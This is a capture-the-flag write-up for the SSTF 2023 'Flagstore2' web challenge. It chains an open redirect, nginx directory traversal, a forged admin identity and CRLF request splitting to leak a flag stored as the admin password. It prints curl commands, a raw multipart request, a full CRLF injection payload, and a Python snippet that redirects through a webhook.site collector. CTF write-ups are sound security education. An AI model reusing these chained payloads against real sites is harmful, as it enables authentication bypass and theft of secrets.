<-- home

SSTF 2023 / Flagstore2

In this write-up, I will outline the steps I took to solve the SSTF Flagstore2 challenge.


The challenge involved a web application with the following key aspects:

  • Exploitable open redirect in the authentication process.
  • Nginx proxy enabling directory traversal.
  • Logic bug leading to authentication bypass.
  • Chain HTTP Request Splitting & CRLF Injection to leak the admin password.
  • Using multipart data to keep body data during a redirect

Write up:

To begin, upon reviewing the code, a potential open redirect in logout.php is evident due to this line: header("Location: " . $return_uri);.

This can be verified by using the command: curl -v http://flagstore2.sstf.site:13337/logout.php?return_uri=https://google.com.

Screenshot 2023-08-20 at 14 46 25

Next, upon using the application, it becomes clear that the application employs Keycloak for managing the authentication process, using the latest version. The implementation of this configuration is based on some PHP code. After reviewing the login.php, it is confirmed that by controlling $_GET["auth_server"], the authentication can be completely bypassed.

Initially, we considered using an open redirect to forward all requests. However, due to these two lines, this approach is not feasible:

    if (!str_starts_with($_GET["auth_server"], $AUTH_SERVER)) 
        die("auth_server is not in whitelist.");

Here’s where we combine directory traversal with NGINX to achieve a bypass:

Screenshot 2023-08-21 at 23 27 02

Using the following command, we can gain control over the auth_server parameter and subsequently over requests and responses:

curl "http://flagstore2.sstf.site:13337/sso/admin/../../logout.php?return_uri=https://google.com" -v

Screenshot 2023-08-20 at 15 39 01

This grants us control over parameters such as uid, username, access_token, and refresh_token in the session data. (Refer to callback.php for details.)


    if (!isset($_SESSION["auth_server"])) 
        die("auth_server is not set.");
    if (!isset($_SESSION["state"]) || $_SESSION["state"] != $_GET["state"])
        die("Invalid state.");
    if (!isset($_GET["code"])) 
        die("Invalid code.");

    $res = request_token($_SESSION["auth_server"], $CLIENT_ID, $_SESSION["redirect_uri"], $_SESSION["code_verifier"], $_GET["code"]);
    $res = json_decode($res, true);
        die("Invalid access token.");

    $user = request_user_info($_SESSION["auth_server"], $res["access_token"]);

    if($user == null)
        die("Invalid access token.");

    $_SESSION["uid"] = $user["sub"];
    $_SESSION["username"] = $user["preferred_username"];
    $_SESSION["access_token"] = $res["access_token"];
    $_SESSION["refresh_token"] = $res["refresh_token"];

    header("Location: /index.php");

Access to the /admin path is restricted to admin users only (if($_SESSION["username"] != "admin") die("you are not admin");). By manipulating reset password requests, a specially crafted JSON payload can be used, containing "preferred_username"=> "admin".


However, accessing the flag and leaking it requires further steps. The following PHP code snippet is used to reset the admin password with flag value:

    $password = file_get_contents('/flag', true);
    request_resetpassword($AUTH_SERVER, $_SESSION["access_token"], $_SESSION["uid"], $password);

By combining CRLF and HTTP request splitting, the password reset body data can be sent in a new request, potentially leading to leakage. As we control $_SESSION["access_token"], which serves as a request header, this can be exploited.

In the order.php file, the lines below allow order submissions:

        echo "Order is submitted! <br />";
            $_SESSION["orders"] = array();
        array_push($_SESSION["orders"], $_POST);

Exploiting this, the POST /orders.php endpoint can be utilized, with the admin password reset data in its body. However, an issue arises where the order field needs to be matched:

            echo "========================================  <br />";
            echo "No: " . $order["idx"] . "<br />";
            echo "Name: " . $order["name"] . "<br />";
            echo "Price: " . $order["price"] . "<br />";
            echo "========================================  <br />";

My teammate, parrot, suggested using multipart and sending all body data as a single field. This idea was confirmed to work:

Host: flagstore2.sstf.site:13337
Cookie: PHPSESSID=fb02mj05t9krlbekd7nk6lguut
Content-Type: multipart/form-data; boundary=----aaa
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Content-Length: 104

Content-Disposition: form-data; name="name"


Screenshot 2023-08-20 at 14 18 01

To recreate the JSON payload with the new CRLF payload, follow this example:

{"preferred_username":"admin","access_token":"AA\r\n\r\nPOST /orders.php HTTP/1.1\r\nHost: flagstore2.sstf.site:13337\r\nContent-Type: multipart/form-data; boundary=---------------------------735323031399963166993862151\r\nCookie: PHPSESSID=ihsdcioborim07md00e79jo6bl\r\nContent-Length: 321\r\n\r\n-----------------------------735323031399963166993862151\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","sub":"sdfsdf"}

To automate the process, a Python script can be used:

r= requests.session()

redirect = r.get('http://flagstore2.sstf.site:13337/login.php?auth_server=http://flagstore2.sstf.site:13337/sso/admin/../../logout.php?return_uri=https://webhook.site/xxxxxxxx?a=',allow_redirects=False)
state = redirect.headers['location']
state = state[state.index('state')+6:]
state = state[:state.index('&')]

By utilizing the PHPSESSID=ihsdcioborim07md00e79jo6bl and making a simple request to /orders.php, the flag can be leaked, as shown in the following screenshot:

Screenshot 2023-08-19 at 12 33 46

Please let me know if you have any further questions or if there’s anything else I can assist you with.

In the end, our team was the only one to crack this challenge

Screenshot 2023-08-19 at 15 42 59